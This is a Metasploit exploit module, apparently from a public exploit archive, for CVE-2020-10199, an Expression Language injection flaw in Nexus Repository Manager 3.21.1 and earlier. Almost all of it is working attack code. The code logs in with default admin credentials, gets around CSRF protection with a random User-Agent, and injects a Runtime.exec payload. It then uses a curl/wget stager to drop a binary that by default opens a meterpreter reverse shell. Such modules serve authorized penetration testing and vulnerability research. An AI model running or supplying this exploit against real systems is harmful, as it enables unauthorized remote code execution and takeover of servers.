Nexus Repository Manager 3.21.1-01 Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Nexus Repository Manager Java EL Injection RCE',  
'Description' => %q{  
This module exploits a Java Expression Language (EL) injection in Nexus  
Repository Manager versions up to and including 3.21.1 to execute code  
as the Nexus user. Tested against 3.21.1-01.  
},  
'Author' => [  
'Alvaro Muñoz', # Discovery  
'wvu' # Module  
],  
'References' => [  
['CVE', '2020-10199'],  
['URL', 'https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype'],  
['URL', 'https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31']  
],  
'DisclosureDate' => '2020-03-31', # Vendor advisory  
'License' => MSF_LICENSE,  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Privileged' => false,  
'Targets' => [['Nexus Repository Manager <= 3.21.1', {}]],  
'DefaultTarget' => 0,  
'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'},  
'CmdStagerFlavor' => %i[curl wget],  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
))  
  
register_options([  
Opt::RPORT(8081),  
OptString.new('TARGETURI', [true, 'Base path', '/']),  
OptString.new('USERNAME', [true, 'Nexus username', 'admin']),  
OptString.new('PASSWORD', [true, 'Nexus password', 'admin'])  
])  
end  
  
def post_auth?  
# Pre-auth RCE? https://twitter.com/iamnoooob/status/1246182773427240967  
true  
end  
  
# Send a GET / request to the server, check the response for a Server header  
# containing the Nexus version, and then check if it's a vulnerable version  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path)  
)  
  
unless res  
return CheckCode::Unknown('Target did not respond to check request.')  
end  
  
unless res.headers['Server']  
return CheckCode::Unknown('Target did not respond with Server header.')  
end  
  
# Example Server header:  
# Server: Nexus/3.21.1-01 (OSS)  
version = res.headers['Server'].scan(%r{^Nexus/([\d.-]+)}).flatten.first  
  
unless version  
return CheckCode::Unknown('Target did not respond with Nexus version.')  
end  
  
if Gem::Version.new(version) <= Gem::Version.new('3.21.1')  
return CheckCode::Appears("Nexus #{version} is a vulnerable version.")  
end  
  
CheckCode::Safe("Nexus #{version} is NOT a vulnerable version.")  
end  
  
def exploit  
# NOTE: Automatic check is implemented by the AutoCheck mixin  
super  
  
print_status("Executing command stager for #{datastore['PAYLOAD']}")  
  
# This will drop a binary payload to disk and execute it!  
execute_cmdstager(  
noconcat: true,  
cookie: login(datastore['USERNAME'], datastore['PASSWORD'])  
)  
end  
  
def login(username, password)  
print_status("Logging in with #{username}:#{password}")  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path,  
'/service/rapture/session'),  
'vars_post' => {  
'username' => Rex::Text.encode_base64(username),  
'password' => Rex::Text.encode_base64(password)  
},  
'partial' => true # XXX: Return partial response despite timeout  
}, 3.5)  
  
unless res  
fail_with(Failure::Unknown, 'Target did not respond to login request')  
end  
  
cookie = res.get_cookies  
  
unless res.code == 204 && cookie.match(/NXSESSIONID=[\h-]+/)  
fail_with(Failure::NoAccess, 'Could not log in with specified creds')  
end  
  
print_good("Logged in with #{cookie}")  
cookie  
end  
  
# This is defined so that CmdStager can use it!  
def execute_command(cmd, opts = {})  
vprint_status("Executing command: #{cmd}")  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path,  
'/service/rest/beta/repositories/go/group'),  
# HACK: Bypass CSRF token with random User-Agent header  
'agent' => rand_text_english(8..42),  
'cookie' => opts[:cookie],  
'ctype' => 'application/json',  
'data' => json_payload(cmd)  
)  
  
unless res  
fail_with(Failure::Unknown, 'Target did not respond to payload request')  
end  
  
unless res.code == 400 && res.body.match(/java\.lang\.UNIXProcess@\h+/)  
fail_with(Failure::PayloadFailed, "Could not execute command: #{cmd}")  
end  
  
print_good("Successfully executed command: #{cmd}")  
end  
  
# PoC based off API docs for /service/rest/beta/repositories/go/group:  
# http://localhost:8081/#admin/system/api  
def json_payload(cmd)  
{  
'name' => 'internal',  
'online' => true,  
'storage' => {  
'blobStoreName' => 'default',  
'strictContentTypeValidation' => true  
},  
'group' => {  
# XXX: memberNames has to be an array, but the API example was a string  
'memberNames' => [el_payload(cmd)]  
}  
}.to_json  
end  
  
# Helpful resource from which I borrowed the EL payload:  
# https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf  
def el_payload(cmd)  
# HACK: Format our EL expression nicely and then strip introduced whitespace  
el = <<~EOF.gsub(/\s+/, '')  
${  
"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke(  
"".getClass().forName("java.lang.Runtime")  
).exec("PATCH_ME")  
}  
EOF  
  
# Patch in our command, escaping any double quotes  
el.sub('PATCH_ME', cmd.gsub('"', '\\"'))  
end  
  
end  
`